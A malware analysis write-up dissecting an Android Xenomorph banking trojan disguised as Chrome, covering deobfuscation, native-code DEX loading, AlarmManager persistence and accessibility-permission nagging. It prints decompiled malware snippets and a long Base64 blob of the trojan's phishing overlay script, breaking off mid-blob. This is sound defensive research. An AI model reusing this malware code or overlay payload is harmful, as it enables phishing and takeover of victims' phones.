Mobile Malware Analysis Part 6 – Xenomorph

Application Detail

Name: Chrome

Package: com.givemountaintnk

SHA-256 Hash: a610ed6f7e7257d7abd396cc8906d35dccde0bd7a205a90a95b2de52df3efc1f

Introduction

Welcome to the sixth installment of our Mobile Malware Series, dedicated to dissecting the latest threats and fortifying your cybersecurity defenses. In this edition, we turn our attention to the recent version of Xenomorph malware. This article navigates the complexities of handling obfuscated code, providing insights into uncovering the original malware payload loaded dynamically through our in-depth analysis.

Additionally, we explore the crucial task of identifying the malware’s overlay page—a pivotal element employed for phishing purposes.

Analysis

Here is the initial analysis check by VirusTotal

VirusTotal Check

Now, let’s open this sample in JADX and start analyzing its Manifest file to learn more about its permissions and components.

Android Manifest.xml

When we go through the Permission tags, we can see the standard permissions like android.permission.READ_SMS , android.permission.WAKE_LOCK , android.permission.SEND_SMS and much more. Things get more interesting when we look at the components.

The reason why it is interesting is that literally every component defined in the Manifest file is not present in the disk (or APK) which probably means they are getting dynamically loaded.

But luckily we have an Application Subclass that is present in the APK for us to start our analysis.

Now, some people might ask why the application subclass is important, and we are starting the analysis from this class. Starting the analysis from the Application subclass is crucial because it serves as the entry point and central hub of an application, influencing its overall structure and behavior.

So let’s start our analysis from the Application class itself.

Class:`com/great/sail/RIdTkEzPiQsTqYiZwGcRgIjXzKeJbJoSoAeUkOe`

This doesn’t look good, as the variables and the strings are hidden/obfuscated by the malware authors. Particularly if we look at the function definition, we could see that most of the lines are dead code. To counter this, let’s use a deobfuscation tool called Simplify. Simplify works by virtually executing an app and then trying to optimize the code so that it behaves identically but is easier for a human to understand. Simplify can be used to:

  • Decrypt strings
  • Remove reflection
  • Rename methods and classes
  • Remove unused code
  • Simplify complex code

After setting up this tool, we can use the tool on this class.

Here is the command,

				
					java -jar simplify-1.3.0.jar -it 'com/great/sail/RIdTkEzPiQsTqYiZwGcRgIjXzKeJbJoSoAeUkOe' ChromeBrowser.apk
				
			

It takes around 5-6 minutes to finish its process. After the process is over, we will get a new APK named ChromeBrowser_simple.apk. The APK will now have the strings in an unobfuscated and readable format.

Now that we have cleared this obstacle, let’s start our analysis from attachBaseContext(). While attachBaseContext() is typically handled internally by the Android framework, developers can override this method for specific purposes. For example, overriding attachBaseContext() allows developers to customize the context hierarchy or perform custom initialization tasks before the component is fully initialized.

Now that we have cleared this obstacle, let’s start our analysis from attachBaseContext().

RIdTkEzPiQsTqYiZwGcRgIjXzKeJbJoSoAeUkOe.attachBaseContext()

We could see a lot of dead code. But, amongst these dead codes, we could see functions like getAbsolutePath(), new File(), and if we check the stocktrim() function we could see the following code base.

RIdTkEzPiQsTqYiZwGcRgIjXzKeJbJoSoAeUkOe.stocktrim()

A file from the assets directory is getting copied in the location specified byszPathSrcApk variable. So if we check for the references for the variable PHmBeUkOoMpLlWqLoKrQbSfJfWeTrBsMbJfKzXpTaRoImBjFrKs we can see it specifies a file named plMHAd.json. This could be the DEX File that contains code for the other components.

But unfortunately, that file has nothing inside of it.

Since we weren’t able to find any information regarding DEX Loading via static way, let’s try it using Medusa. Medusa is an open-source binary instrumentation framework based on Frida that facilitates the dynamic analysis of Android and iOS applications. It is designed to automate various processes and techniques commonly employed during mobile application security testing, enabling security researchers and developers to efficiently assess the security posture of their applications.

Haa Yess!! We found our DEX file in the name of clknyuynpsrmkt in the cache directory of this app in our emulator, and also we could see calls being made to classes like p095k, p071e which are the missing components from this sample. Let’s pull it up and analyze it.

But there is still a question that is yet to be answered – What code is responsible for the DEX file being created in our device, since there is no DexClassLoader function call in our APK? That’s when our attention turned toward the native/JNI Code.

So we opened the library in Ghidra and took our time to decompile the strings. After some time, the strings started looking like this,

So we could see the file name (clknyuynpsrmkt) which is actually located in the res/raw directory. Going deep into this native library, we could see strings like ClassLoader, and FileInputStream being passed to CallObjectMethod.

Now that we cleared our doubt, let’s continue analyzing the clknyuynpsrmkt DEX file.

So let’s start from the Main Activity (p068r.java)

If we check Cfor.ifdf, we can see its value is set by Cbreak.fddo("f4e1bcad72fdddbe26") . Let’s open up our IDE and decode this.

Here is the link to the code: JDoodle

Now we could say Cbreak.fddo("f4e1bcad72fdddbe26") decodes as pittsep12 .

Tip: Its always better to rename variables and functions to something which we can relate. Like in this case, we could rename Cfor.ifdf as mw_str_pittsep12. This also signifies that we have analyzed that particular variable or function.

Similarly,

Cthrow.m163this and Cthrow.m158case perform write and read operations on a shared preference, respectively.

But a thing to note is the function Cgoto.sartjsrtfjsrfjtsrtjgfhe registers a receiver p031d.

Looking into function y, it in turn called function z which contains the following code.

fddo.Cgoto.z()

If we skip the initial try-catch and if-else block, we could see a function call to method t (since !p048b.ifdf will always be true),

fddo.Cgoto.t()

Here we could see that the class (i.e. Service p048b) passed as the parameter to this function is started as a service. So let’s analyze the service.

Before beginning our analysis on Service p048b, we look at line 1181 in function z

				
					((AlarmManager) context.getSystemService("alarm")).setRepeating(0, System.currentTimeMillis(), 60000L, PendingIntent.getBroadcast(context, 0, new Intent(context, p071e.class), 0));
				
			

The purpose of this line is to use the AlarmManager class to run a code after a certain time. In this case is class p071e.

com.givemountaintnk.p071e

As I expected, they are calling function z again which we just now analyzed, which means Service p048b is really important to this malware sample.

Class `com.givemountaintnk.p048b`

Tip: Always begin analyzing a Foreground Service from the function onStartCommand

p048b.OnStartCommand()

Since the intent doesn’t have any extras and ifdf is false, let’s move to the else part.

Lets check Cgoto.dfhaefdhadfhdfherh()

fddo.Cgoto.dfhaefdhadfhdfherh()

Haa yes, We could see that the sample is checking whether it has accessibility settings have been enabled or not. If the accessibility settings haven’t been enabled, then in m25import(),

				
					//com.givemountaintnk.p048b.m25import
private void m25import(Context context) {
  p044l.fddo(context, this);
  p044l.m17for(context);
  f16for = true;
}
				
			

Looking into function fddo,

				
					//com.givemountaintnk.p044l.fddo()
public static void fddo(Context context, Service service) {
	service.startForeground(2777, (Cgoto.ifdf >= Cgoto.f64case ? new Notification.Builder(context, Cgoto.ifdf >= Cgoto.f64case ? ifdf(context, Cbreak.fddo("f7edbaaf68fbc8"), Cbreak.fddo("e7e0a9b76ffdc1")) : "") : new Notification.Builder(context)).setOngoing(true).setSmallIcon(context.getResources().getIdentifier("icon", "drawable", context.getPackageName())).setPriority(-2).setCategory("service").build());
}
				
			

In essence, a notification is being produced. By linking all of the previously discussed functions, it can be established that this application will generate a notification until accessibility settings are permitted. Let’s validate this by installing this sample in an emulator.

Yes indeed, we get a notification to enable accessibility settings.

Let’s come back to finish analyzing the remaining code in the MainActivity (p068r)

In line 41 we could see an if-else block and if the condition is successful, activity p039b will start.

Class com.givemountaintnk.p039b

On checking the onCreate method, we could see that there are a couple of checks for intents and extras. Also, 2 functions are repeatedly used, and they are Cclass.m57else() and Cgoto.dgjaertjardthjdgu().

In method m57else(),

Class `com.givemountaintnk.p039b`

On checking the onCreate method, we could see that there are a couple of checks for intents and extras. Also, 2 functions are repeatedly used, and they are Cclass.m57else() and Cgoto.dgjaertjardthjdgu().

In method m57else(),

Seeing strings like inj_acsband HTML gives a feel we could be seeing a malicious HTML script used by the attackers. We wouldn’t be able to view the contents of the variable (probably because it’s too much big). So let’s get the value by decompiling the APK.

Here is the script to decode the huge Base64 encrypted data.

				
					import java.io.UnsupportedEncodingException;
import java.util.Base64;

public class MyClass{
    public static final String[] f60else = {"PHNjcmlwdD4NCiAgICB2YXIgbGFuZyA9ICclTEFORyUnIC8vIERldmljZSBsYW5ndWFnZSAoZW4sIGRlLCBlcykNCiAgICB2YXIgYXBwX3RpdGxlID0gJyVBUFBfVElUTEUlJyAvLyBib3QgdGVtcGxhdGUgdGl0bGUgKCdBbmRyb2lkIFVwZGF0ZScpDQogICAgdmFyIGlzX3hpYW9taSA9ICgnJUlTX1hJQU9NSSUnID09ICd0cnVlJykgLy8gQWNzYiBTZXR0aW5ncyAtIERvd25sb2FkZWQgU2VydmljZXMgLSAnQm90IE5hbWUnIHNlcnZpY2UNCiAgICB2YXIgaXNfc2Ftc3VuZyA9ICgnJUlTX1NBTVNVTkclJyA9PSAndHJ1ZScpIC8vIEFjc2IgU2V0dGluZ3MgLSBJbnN0YWxsZWQgU2VydmljZXMgLSAnQm90IE5hbWUnIHNlcnZpY2UNCjwvc2NyaXB0Pg0KPHNjcmlwdD4vKiEgalF1ZXJ5IHYzLjQuMSAqLyAhZnVuY3Rpb24oZSx0KXsidXNlIHN0cmljdCI7Im9iamVjdCI9PXR5cGVvZiBtb2R1bGUmJiJvYmplY3QiPT10eXBlb2YgbW9kdWxlLmV4cG9ydHM/bW9kdWxlLmV4cG9ydHM9ZS5kb2N1bWVudD90KGUsITApOmZ1bmN0aW9uKGUpe2lmKCFlLmRvY3VtZW50KXRocm93IG5ldyBFcnJvcigialF1ZXJ5IHJlcXVpcmVzIGEgd2luZG93IHdpdGggYSBkb2N1bWVudCIpO3JldHVybiB0KGUpfTp0KGUpfSgidW5kZWZpbmVkIiE9dHlwZW9mIHdpbmRvdz93aW5kb3c6dGhpcyxmdW5jdGlvbihDLGUpeyJ1c2Ugc3RyaWN0Ijt2YXIgdD1bXSxFPUMuZG9jdW1lbnQscj1PYmplY3QuZ2V0UHJvdG90eXBlT2Yscz10LnNsaWNlLGc9dC5jb25jYXQsdT10LnB1c2gsaT10LmluZGV4T2Ysbj17fSxvPW4udG9TdHJpbmcsdj1uLmhhc093blByb3BlcnR5LGE9di50b1N0cmluZyxsPWEuY2FsbChPYmplY3QpLHk9e30sbT1mdW5jdGlvbihlKXtyZXR1cm4iZnVuY3Rpb24iPT10eXBlb2YgZSYmIm51bWJlciIhPXR5cGVvZiBlLm5vZGVUeXBlfSx4PWZ1bmN0aW9uKGUpe3JldHVybiBudWxsIT1lJiZlPT09ZS53aW5kb3d9LGM9e3R5cGU6ITAsc3JjOiEwLG5vbmNlOiEwLG5vTW9kdWxlOiEwfTtmdW5jdGlvbiBiKGUsdCxuKXt2YXIgcixpLG89KG49bnx8RSkuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7aWYoby50ZXh0PWUsdClmb3IociBpbiBjKShpPXRbcl18fHQuZ2V0QXR0cmlidXRlJiZ0LmdldEF0dHJpYnV0ZShyKSkmJm8uc2V0QXR0cmlidXRlKHIsaSk7bi5oZWFkLmFwcGVuZENoaWxkKG8pLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQobyl9ZnVuY3Rpb24gdyhlKXtyZXR1cm4gbnVsbD09ZT9lKyIiOiJvYmplY3QiPT10eXBlb2YgZXx8ImZ1bmN0aW9uIj09dHlwZW9mIGU/bltvLmNhbGwoZSldfHwib2JqZWN0Ijp0eXBlb2YgZX12YXIgZj0iMy40LjEiLGs9ZnVuY3Rpb24oZSx0KXtyZXR1cm4gbmV3IGsuZm4uaW5pdChlLHQpfSxwPS9eW1xzXHVGRUZGXHhBMF0rfFtcc1x1RkVGRlx4QTBdKyQvZztmdW5jdGlvbiBkKGUpe3ZhciB0PSEhZSYmImxlbmd0aCJpbiBlJiZlLmxlbmd0aCxuPXcoZSk7cmV0dXJuIW0oZSkmJiF4KGUpJiYoImFycmF5Ij09PW58fDA9PT10fHwibnVtYmVyIj09dHlwZW9mIHQmJjA8dCYmdC0xIGluIGUpfWsuZm49ay5wcm90b3R5cGU9e2pxdWVyeTpmLGNvbnN0cnVjdG9yOmssbGVuZ3RoOjAsdG9BcnJheTpmdW5jdGlvbigpe3JldHVybiBzLmNhbGwodGhpcyl9LGdldDpmdW5jdGlvbihlKXtyZXR1cm4gbnVsbD09ZT9zLmNhbGwodGhpcyk6ZTwwP3RoaXNbZSt0aGlzLmxlbmd0aF06dGhpc1tlXX0scHVzaFN0YWNrOmZ1bmN0aW9uKGUpe3ZhciB0PWsubWVyZ2UodGhpcy5jb25zdHJ1Y3RvcigpLGUpO3JldHVybiB0LnByZXZPYmplY3Q9dGhpcyx0fSxlYWNoOmZ1bmN0aW9uKGUpe3JldHVybiBrLmVhY2godGhpcyxlKX0sbWFwOmZ1bmN0aW9uKG4pe3JldHVybiB0aGlzLnB1c2hTdGFjayhrLm1hcCh0aGlzLGZ1bmN0aW9uKGUsdCl7cmV0dXJuIG4uY2FsbChlLHQsZSl9KSl9LHNsaWNlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMucHVzaFN0YWNrKHMuYXBwbHkodGhpcyxhcmd1bWVudHMpKX0sZmlyc3Q6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5lcSgwKX0sbGFzdDpmdW5jdGlvbigpe3JldHVybiB0aGlzLmVxKC0xKX0sZXE6ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5sZW5ndGgsbj0rZSsoZTwwP3Q6MCk7cmV0dXJuIHRoaXMucHVzaFN0YWNrKDA8PW4mJm48dD9bdGhpc1tuXV06W10pfSxlbmQ6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5wcmV2T2JqZWN0fHx0aGlzLmNvbnN0cnVjdG9yKCl9LHB1c2g6dSxzb3J0OnQuc29ydCxzcGxpY2U6dC5zcGxpY2V9LGsuZXh0ZW5kPWsuZm4uZXh0ZW5kPWZ1bmN0aW9uKCl7dmFyIGUsdCxuLHIsaSxvLGE9YXJndW1lbnRzWzBdfHx7fSxzPTEsdT1hcmd1bWVudHMubGVuZ3RoLGw9ITE7Zm9yKCJib29sZWFuIj09dHlwZW9mIGEmJihsPWEsYT1hcmd1bWVudHNbc118fHt9LHMrKyksIm9iamVjdCI9PXR5cGVvZiBhfHxtKGEpfHwoYT17fSkscz09PXUmJihhPXRoaXMscy0tKTtzPHU7cysrKWlmKG51bGwhPShlPWFyZ3VtZW50c1tzXSkpZm9yKHQgaW4gZSlyPWVbdF0sIl9fcHJvdG9fXyIhPT10JiZhIT09ciYmKGwmJnImJihrLmlzUGxhaW5PYmplY3Qocil8fChpPUFycmF5LmlzQXJyYXkocikpKT8obj1hW3RdLG89aSYmIUFycmF5LmlzQXJyYXkobik/W106aXx8ay5pc1BsYWluT2JqZWN0KG4pP246e30saT0hMSxhW3RdPWsuZXh0ZW5kKGwsbyxyKSk6dm9pZCAwIT09ciYmKGFbdF09cikpO3JldHVybiBhfSxrLmV4dGVuZCh7ZXhwYW5kbzoialF1ZXJ5IisoZitNYXRoLnJhbmRvbSgpKS5yZXBsYWNlKC9cRC9nLCIiKSxpc1JlYWR5OiEwLGVycm9yOmZ1bmN0aW9uKGUpe3Rocm93IG5ldyBFcnJvcihlKX0sbm9vcDpmdW5jdGlvbigpe30saXNQbGFpbk9iamVjdDpmdW5jdGlvbihlKXt2YXIgdCxuO3JldHVybiEoIWV8fCJbb2JqZWN0IE9iamVjdF0iIT09by5jYWxsKGUpKSYmKCEodD1yKGUpKXx8ImZ1bmN0aW9uIj09dHlwZW9mKG49di5jYWxsKHQsImNvbnN0cnVjdG9yIikmJnQuY29uc3RydWN0b3IpJiZhLmNhbGwobik9PT1sKX0saXNFbXB0eU9iamVjdDpmdW5jdGlvbihlKXt2YXIgdDtmb3IodCBpbiBlKXJldHVybiExO3JldHVybiEwfSxnbG9iYWxFdmFsOmZ1bmN0aW9uKGUsdCl7YihlLHtub25jZTp0JiZ0Lm5vbmNlfSl9LGVhY2g6ZnVuY3Rpb24oZSx0KXt2YXIgbixyPTA7aWYoZChlKSl7Zm9yKG49ZS5sZW5ndGg7cjxuO3IrKylpZighMT09PXQuY2FsbChlW3JdLHIsZVtyXSkpYnJlYWt9ZWxzZSBmb3IociBpbiBlKWlmKCExPT09dC5jYWxsKGVbcl0scixlW3JdKSlicmVhaztyZXR1cm4gZX0sdHJpbTpmdW5jdGlvbihlKXtyZXR1cm4gbnVsbD09ZT8iIjooZSsiIikucmVwbGFjZShwLCIiKX0sbWFrZUFycmF5OmZ1bmN0aW9uKGUsdCl7dmFyIG49dHx8W107cmV0dXJuIG51bGwhPWUmJihkKE9iamVjdChlKSk/ay5tZXJnZShuLCJzdHJpbmciPT10eXBlb2YgZT9bZV06ZSk6dS5jYWxsKG4sZSkpLG59LGluQXJyYXk6ZnVuY3Rpb24oZSx0LG4pe3JldHVybiBudWxsPT10Py0xOmkuY2FsbCh0LGUsbil9LG1lcmdlOmZ1bmN0aW9uKGUsdCl7Zm9yKHZhciBuPSt0Lmxlbmd0aCxyPTAsaT1lLmxlbmd0aDtyPG47cisrKWVbaSsrXT10W3JdO3JldHVybiBlLmxlbmd0aD1pLGV9LGdyZXA6ZnVuY3Rpb24oZSx0LG4pe2Zvcih2YXIgcj1bXSxpPTAsbz1lLmxlbmd0aCxhPSFuO2k8bztpKyspIXQoZVtpXSxpKSE9PWEmJnIucHVzaChlW2ldKTtyZXR1cm4gcn0sbWFwOmZ1bmN0aW9uKGUsdCxuKXt2YXIgcixpLG89MCxhPVtdO2lmKGQoZSkpZm9yKHI9ZS5sZW5ndGg7bzxyO28rKyludWxsIT0oaT10KGVbb10sbyxuKSkmJmEucHVzaChpKTtlbHNlIGZvcihvIGluIGUpbnVsbCE9KGk9dChlW29dLG8sbikpJiZhLnB1c2goaSk7cmV0dXJuIGcuYXBwbHkoW10sYSl9LGd1aWQ6MSxzdXBwb3J0Onl9KSwiZnVuY3Rpb24iPT10eXBlb2YgU3ltYm9sJiYoay5mbltTeW1ib2wuaXRlcmF0b3JdPXRbU3ltYm9sLml0ZXJhdG9yXSksay5lYWNoKCJCb29sZWFuIE51bWJlciBTdHJpbmcgRnVuY3Rpb24gQXJyYXkgRGF0ZSBSZWdFeHAgT2JqZWN0IEVycm9yIFN5bWJvbCIuc3BsaXQoIiAiKSxmdW5jdGlvbihlLHQpe25bIltvYmplY3QgIit0KyJdIl09dC50b0xvd2VyQ2FzZSgpfSk7dmFyIGg9ZnVuY3Rpb24obil7dmFyIGUsZCxiLG8saSxoLGYsZyx3LHUsbCxULEMsYSxFLHYscyxjLHksaz0ic2l6emxlIisxKm5ldyBEYXRlLG09bi5kb2N1bWVudCxTPTAscj0wLHA9dWUoKSx4PXVlKCksTj11ZSgpLEE9dWUoKSxEPWZ1bmN0aW9uKGUsdCl7cmV0dXJuIGU9PT10JiYobD0hMCksMH0saj17fS5oYXNPd25Qcm9wZXJ0eSx0PVtdLHE9dC5wb3AsTD10LnB1c2gsSD10LnB1c2gsTz10LnNsaWNlLFA9ZnVuY3Rpb24oZSx0KXtmb3IodmFyIG49MCxyPWUubGVuZ3RoO248cjtuKyspaWYoZVtuXT09PXQpcmV0dXJuIG47cmV0dXJuLTF9LFI9ImNoZWNrZWR8c2VsZWN0ZWR8YXN5bmN8YXV0b2ZvY3VzfGF1dG9wbGF5fGNvbnRyb2xzfGRlZmVyfGRpc2FibGVkfGhpZGRlbnxpc21hcHxsb29wfG11bHRpcGxlfG9wZW58cmVhZG9ubHl8cmVxdWlyZWR8c2NvcGVkIixNPSJbXFx4MjBcXHRcXHJcXG5cXGZdIixJPSIoPzpcXFxcLnxbXFx3LV18W15cMC1cXHhhMF0pKyIsVz0iXFxbIitNKyIqKCIrSSsiKSg/OiIrTSsiKihbKl4kfCF+XT89KSIrTSsiKig/OicoKD86XFxcXC58W15cXFxcJ10pKiknfFwiKCg/OlxcXFwufFteXFxcXFwiXSkqKVwifCgiK0krIikpfCkiK00rIipcXF0iLCQ9IjooIitJKyIpKD86XFwoKCgnKCg/OlxcXFwufFteXFxcXCddKSopJ3xcIigoPzpcXFxcLnxbXlxcXFxcIl0pKilcIil8KCg/OlxcXFwufFteXFxcXCgpW1xcXV18IitXKyIpKil8LiopXFwpfCkiLEY9bmV3IFJlZ0V4cChNKyIrIiwiZyIpLEI9bmV3IFJlZ0V4cCgiXiIrTSsiK3woKD86XnxbXlxcXFxdKSg/OlxcXFwuKSopIitNKyIrJCIsImciKSxfPW5ldyBSZWdFeHAoIl4iK00rIiosIitNKyIqIiksej1uZXcgUmVnRXhwKCJeIitNKyIqKFs+K35dfCIrTSsiKSIrTSsiKiIpLFU9bmV3IFJlZ0V4cChNKyJ8PiIpLFg9bmV3IFJlZ0V4cCgkKSxWPW5ldyBSZWdFeHAoIl4iK0krIiQiKSxHPXtJRDpuZXcgUmVnRXhwKCJeIygiK0krIikiKSxDTEFTUzpuZXcgUmVnRXhwKCJeXFwuKCIrSSsiKSIpLFRBRzpuZXcgUmVnRXhwKCJeKCIrSSsifFsqXSkiKSxBVFRSOm5ldyBSZWdFeHAoIl4iK1cpLFBTRVVETzpuZXcgUmVnRXhwKCJeIiskKSxDSElMRDpuZXcgUmVnRXhwKCJeOihvbmx5fGZpcnN0fGxhc3R8bnRofG50aC1sYXN0KS0oY2hpbGR8b2YtdHlwZSkoPzpcXCgiK00rIiooZXZlbnxvZGR8KChbKy1dfCkoXFxkKilufCkiK00rIiooPzooWystXXwpIitNKyIqKFxcZCspfCkpIitNKyIqXFwpfCkiLCJpIiksYm9vbDpuZXcgUmVnRXhwKCJeKD86IitSKyIpJCIsImkiKSxuZWVkc0NvbnRleHQ6bmV3IFJlZ0V4cCgiXiIrTSsiKls+K35dfDooZXZlbnxvZGR8ZXF8Z3R8bHR8bnRofGZpcnN0fGxhc3QpKD86XFwoIitNKyIqKCg/Oi1cXGQpP1xcZCopIitNKyIqXFwpfCkoPz1bXi1dfCQpIiwiaSIpfSxZPS9IVE1MJC9pLFE9L14oPzppbnB1dHxzZWxlY3R8dGV4dGFyZWF8YnV0dG9uKSQvaSxKPS9eaFxkJC9pLEs9L15bXntdK1x7XHMqXFtuYXRpdmUgXHcvLFo9L14oPzojKFtcdy1dKyl8KFx3Kyl8XC4oW1x3LV0rKSkkLyxlZT0vWyt+XS8sdGU9bmV3IFJlZ0V4cCgiXFxcXChbXFxkYS1mXXsxLDZ9IitNKyI/fCgiK00rIil8LikiLCJpZyIpLG5lPWZ1bmN0aW9uKGUsdCxuKXt2YXIgcj0iMHgiK3QtNjU1MzY7cmV0dXJuIHIhPXJ8fG4/dDpyPDA/U3RyaW5nLmZyb21DaGFyQ29kZShyKzY1NTM2KTpTdHJpbmcuZnJvbUNoYXJDb2RlKHI+PjEwfDU1Mjk2LDEwMjMmcnw1NjMyMCl9LHJlPS8oW1wwLVx4MWZceDdmXXxeLT9cZCl8Xi0kfFteXDAtXHgxZlx4N2YtXHVGRkZGXHctXS9nLGllPWZ1bmN0aW9uKGUsdCl7cmV0dXJuIHQ/IlwwIj09PWU/Ilx1ZmZmZCI6ZS5zbGljZSgwLC0xKSsiXFwiK2UuY2hhckNvZGVBdChlLmxlbmd0aC0xKS50b1N0cmluZygxNikrIiAiOiJcXCIrZX0sb2U9ZnVuY3Rpb24oKXtUKCl9LGFlPWJlKGZ1bmN0aW9uKGUpe3JldHVybiEwPT09ZS5kaXNhYmxlZCYmImZpZWxkc2V0Ij09PWUubm9kZU5hbWUudG9Mb3dlckNhc2UoKX0se2RpcjoicGFyZW50Tm9kZSIsbmV4dDoibGVnZW5kIn0pO3RyeXtILmFwcGx5KHQ9Ty5jYWxsKG0uY2hpbGROb2RlcyksbS5jaGlsZE5vZGVzKSx0W20uY2hpbGROb2Rlcy5sZW5ndGhdLm5vZGVUeXBlfWNhdGNoKGUpe0g9e2FwcGx5OnQubGVuZ3RoP2Z1bmN0aW9uKGUsdCl7TC5hcHBseShlLE8uY2FsbCh0KSl9OmZ1bmN0aW9uKGUsdCl7dmFyIG49ZS5sZW5ndGgscj0wO3doaWxlKGVbbisrXT10W3IrK10pO2UubGVuZ3RoPW4tMX19fWZ1bmN0aW9uIHNlKHQsZSxuLHIpe3ZhciBpLG8sYSxzLHUsbCxjLGY9ZSYmZS5vd25lckRvY3VtZW50LHA9ZT9lLm5vZGVUeXBlOjk7aWYobj1ufHxbXSwic3RyaW5nIiE9dHlwZW9mIHR8fCF0fHwxIT09cCYmOSE9PXAmJjExIT09cClyZXR1cm4gbjtpZighciYmKChlP2Uub3duZXJEb2N1bWVudHx8ZTptKSE9PUMmJlQoZSksZT1lfHxDLEUpKXtpZigxMSE9PXAmJih1PVouZXhlYyh0KSkpaWYoaT11WzFdKXtpZig5PT09cCl7aWYoIShhPWUuZ2V0RWxlbWVudEJ5SWQoaSkpKXJldHVybiBuO2lmKGEuaWQ9PT1pKXJldHVybiBuLnB1c2goYSksbn1lbHNlIGlmKGYmJihhPWYuZ2V0RWxlbWVudEJ5SWQoaSkpJiZ5KGUsYSkmJmEuaWQ9PT1pKXJldHVybiBuLnB1c2goYSksbn1lbHNle2lmKHVbMl0pcmV0dXJuIEguYXBwbHkobixlLmdldEVsZW1lbnRzQnlUYWdOYW1lKHQpKSxuO2lmKChpPXVbM10pJiZkLmdldEVsZW1lbnRzQnlDbGFzc05hbWUmJmUuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSlyZXR1cm4gSC5hcHBseShuLGUuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZShpKSksbn1pZihkLnFzYSYmIUFbdCsiICJdJiYoIXZ8fCF2LnRlc3QodCkpJiYoMSE9PXB8fCJvYmplY3QiIT09ZS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpKSl7aWYoYz10LGY9ZSwxPT09cCYmVS50ZXN0KHQpKXsocz1lLmdldEF0dHJpYnV0ZSgiaWQiKSk/cz1zLnJlcGxhY2UocmUsaWUpOmUuc2V0QXR0cmlidXRlKCJpZCIscz1rKSxvPShsPWgodCkpLmxlbmd0aDt3aGlsZShvLS0pbFtvXT0iIyIrcysiICIreGUobFtvXSk7Yz1sLmpvaW4oIiwiKSxmPWVlLnRlc3QodCkmJnllKGUucGFyZW50Tm9kZSl8fGV9dHJ5e3JldHVybiBILmFwcGx5KG4sZi5xdWVyeVNlbGVjdG9yQWxsKGMpKSxufWNhdGNoKGUpe0EodCwhMCl9ZmluYWxseXtzPT09ayYmZS5yZW1vdmVBdHRyaWJ1dGUoImlkIil9fX1yZXR1cm4gZyh0LnJlcGxhY2UoQiwiJDEiKSxlLG4scil9ZnVuY3Rpb24gdWUoKXt2YXIgcj1bXTtyZXR1cm4gZnVuY3Rpb24gZSh0LG4pe3JldHVybiByLnB1c2godCsiICIpPmIuY2FjaGVMZW5ndGgmJmRlbGV0ZSBlW3Iuc2hpZnQoKV0sZVt0KyIgIl09bn19ZnVuY3Rpb24gbGUoZSl7cmV0dXJuIGVba109ITAsZX1mdW5jdGlvbiBjZShlKXt2YXIgdD1DLmNyZWF0ZUVsZW1lbnQoImZpZWxkc2V0Iik7dHJ5e3JldHVybiEhZSh0KX1jYXRjaChlKXtyZXR1cm4hMX1maW5hbGx5e3QucGFyZW50Tm9kZSYmdC5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHQpLHQ9bnVsbH19ZnVuY3Rpb24gZmUoZSx0KXt2YXIgbj1lLnNwbGl0KCJ8Iikscj1uLmxlbmd0aDt3aGlsZShyLS0pYi5hdHRySGFuZGxlW25bcl1dPXR9ZnVuY3Rpb24gcGUoZSx0KXt2YXIgbj10JiZlLHI9biYmMT09PWUubm9kZVR5cGUmJjE9PT10Lm5vZGVUeXBlJiZlLnNvdXJjZUluZGV4LXQuc291cmNlSW5kZXg7aWYocilyZXR1cm4gcjtpZihuKXdoaWxlKG49bi5uZXh0U2libGluZylpZihuPT09dClyZXR1cm4tMTtyZXR1cm4gZT8xOi0xfWZ1bmN0aW9uIGRlKHQpe3JldHVybiBmdW5jdGlvbihlKXtyZXR1cm4iaW5wdXQiPT09ZS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpJiZlLnR5cGU9PT10fX1mdW5jdGlvbiBoZShuKXtyZXR1cm4gZnVuY3Rpb24oZSl7dmFyIHQ9ZS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpO3JldHVybigiaW5wdXQiPT09dHx8ImJ1dHRvbiI9PT10KSYmZS50eXBlPT09bn19ZnVuY3Rpb24gZ2UodCl7cmV0dXJuIGZ1bmN0aW9uKGUpe3JldHVybiJmb3JtImluIGU/ZS5wYXJlbnROb2RlJiYhMT09PWUuZGlzYWJsZWQ/ImxhYmVsImluIGU/ImxhYmVsImluIGUucGFyZW50Tm9kZT9lLnBhcmVudE5vZGUuZGlzYWJsZWQ9PT10OmUuZGlzYWJsZWQ9PT10OmUuaXNEaXNhYmxlZD09PXR8fGUuaXNEaXNhYmxlZCE9PSF0JiZhZShlKT09PXQ6ZS5kaXNhYmxlZD09PXQ6ImxhYmVsImluIGUmJmUuZGlzYWJsZWQ9PT10fX1mdW5jdGlvbiB2ZShhKXtyZXR1cm4gbGUoZnVuY3Rpb24obyl7cmV0dXJuIG89K28sbGUoZnVuY3Rpb24oZSx0KXt2YXIgbixyPWEoW10sZS5sZW5ndGgsbyksaT1yLmxlbmd0aDt3aGlsZShpLS0pZVtuPXJbaV1dJiYoZVtuXT0hKHRbbl09ZVtuXSkpfSl9KX1mdW5jdGlvbiB5ZShlKXtyZXR1cm4gZSYmInVuZGVmaW5lZCIhPXR5cGVvZiBlLmdldEVsZW1lbnRzQnlUYWdOYW1lJiZlfWZvcihlIGluIGQ9c2Uuc3VwcG9ydD17fSxpPXNlLmlzWE1MPWZ1bmN0aW9uKGUpe3ZhciB0PWUubmFtZXNwYWNlVVJJLG49KGUub3duZXJEb2N1bWVudHx8ZSkuZG9jdW1lbnRFbGVtZW50O3JldHVybiFZLnRlc3QodHx8biYmbi5ub2RlTmFtZXx8IkhUTUwiKX0sVD1zZS5zZXREb2N1bWVudD1mdW5jdGlvbihlKXt2YXIgdCxuLHI9ZT9lLm93bmVyRG9jdW1lbnR8fGU6bTtyZXR1cm4gciE9PUMmJjk9PT1yLm5vZGVUeXBlJiZyLmRvY3VtZW50RWxlbWVudCYmKGE9KEM9cikuZG9jdW1lbnRFbGVtZW50LEU9IWkoQyksbSE9PUMmJihuPUMuZGVmYXVsdFZpZXcpJiZuLnRvcCE9PW4mJihuLmFkZEV2ZW50TGlzdGVuZXI/bi5hZGRFdmVudExpc3RlbmVyKCJ1bmxvYWQiLG9lL